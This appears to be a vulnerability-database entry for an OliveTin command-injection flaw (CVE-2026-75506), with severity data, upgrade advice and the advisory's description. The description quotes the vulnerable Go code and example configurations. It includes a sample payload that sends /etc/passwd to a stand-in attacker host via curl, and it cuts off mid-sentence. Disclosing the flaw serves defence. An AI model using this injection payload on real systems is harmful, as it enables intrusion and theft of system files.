CVE-2026-75506: OliveTin · Second-Order OS Command Injection via shellAfterCompleted
Affects github.com/OliveTin/OliveTinSource GCVE Database
Mentioned vulnerabilities
Not known to be exploited · CVSS 6.6 Medium : upgrade to 0.0.0-20260728155752-e5d29b68da66 when convenient.
Data as of 18 Nov 2026, 22:37 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 6.6 |
|---|
- Patch
- Available – fixed in 0.0.0-20260728155752-e5d29b68da66
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:HExploitation evidence
Disclosed: evidence found.
CVE published 18 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 18 Nov 2026.
What to do
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260728155752-e5d29b68da66.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogithub.com/OliveTin/OliveTin | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Summary OliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell. This is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables. ## Affected Versions - All versions containing `shellAfterCompleted` functionality (current codebase through latest) ## Details ### Vulnerable Code Path In `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands: ```go func stepExecAfter(req *ExecutionRequest) bool { if req.Binding.Action.ShellAfterCompleted == "" { return true } // These variables are injected WITHOUT any type checking or sanitization args := map[string]string{ "output": req.logEntry.Output, // Arbitrary command stdout/stderr "exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode), "ot_executionTrackingId": req.TrackingID, "ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers } // Template rendered with unsanitized args finalParsedCommand, err := tpl.ParseTemplateWithActionContext( req.Binding.Action.ShellAfterCompleted, req.Binding.Entity, args, ) // Directly passed to sh -c — NO safety check cmd := wrapCommandInShell(ctx, finalParsedCommand) // ... } ``` The `wrapCommandInShell` function (in `executor_unix.go`) executes: ```go func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd { return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) } ``` ### Why This Bypasses Existing Protections The main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode. **`stepExecAfter` calls none of these checks.** The `output` variable is: - Not a declared argument with a type — it's internally created - Not validated against any regex or type system - Not passed through `checkShellArgumentSafety` - Directly interpolated into a shell command template A `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location: ``` executor.go:693: if err := checkShellArgumentSafety(req); err != nil { ``` This is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`. ### Injection Vectors #### Vector 1: Output Reflection If a primary action echoes user-controlled input: ```yaml actions: - title: Lookup User shell: "echo 'User: {{ .Arguments.username }}'" shellAfterCompleted: "audit-log '{{ .Arguments.output }}'" arguments: - name: username type: ascii_identifier ``` While `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`. #### Vector 2: Exec Mode Output Injection Actions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell: ```yaml actions: - title: Read External Data exec: - cat - /shared/data/{{ .Arguments.filename }} shellAfterCompleted: "process-result '{{ .Arguments.output }}'" arguments: - name: filename type: ascii_identifier ``` If `/shared/data/report` contains text like: ``` '; curl http://attacker.com/exfil?data=$(cat /etc/passwd) # ``` The `shellAfterCompleted` becomes: ```bash process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #' ``` This executes arbitrary commands as the OliveTin process user. #### Vector 3: Username Injection via Trusted Headers When trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization: ```yaml actions: - title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}
References
- github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-75506 (opens in a new tab)
- github.com/OliveTin/OliveTin/pull/1070 (opens in a new tab)
- github.com/OliveTin/OliveTin/pull/1088 (opens in a new tab)
- github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065 (opens in a new tab)
- github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c (opens in a new tab)
- github.com/OliveTin/OliveTin (opens in a new tab)
- github.com/OliveTin/OliveTin/releases/tag/3000.17.0 (opens in a new tab)
- github.com/OliveTin/OliveTin/releases/tag/3000.18.1 (opens in a new tab)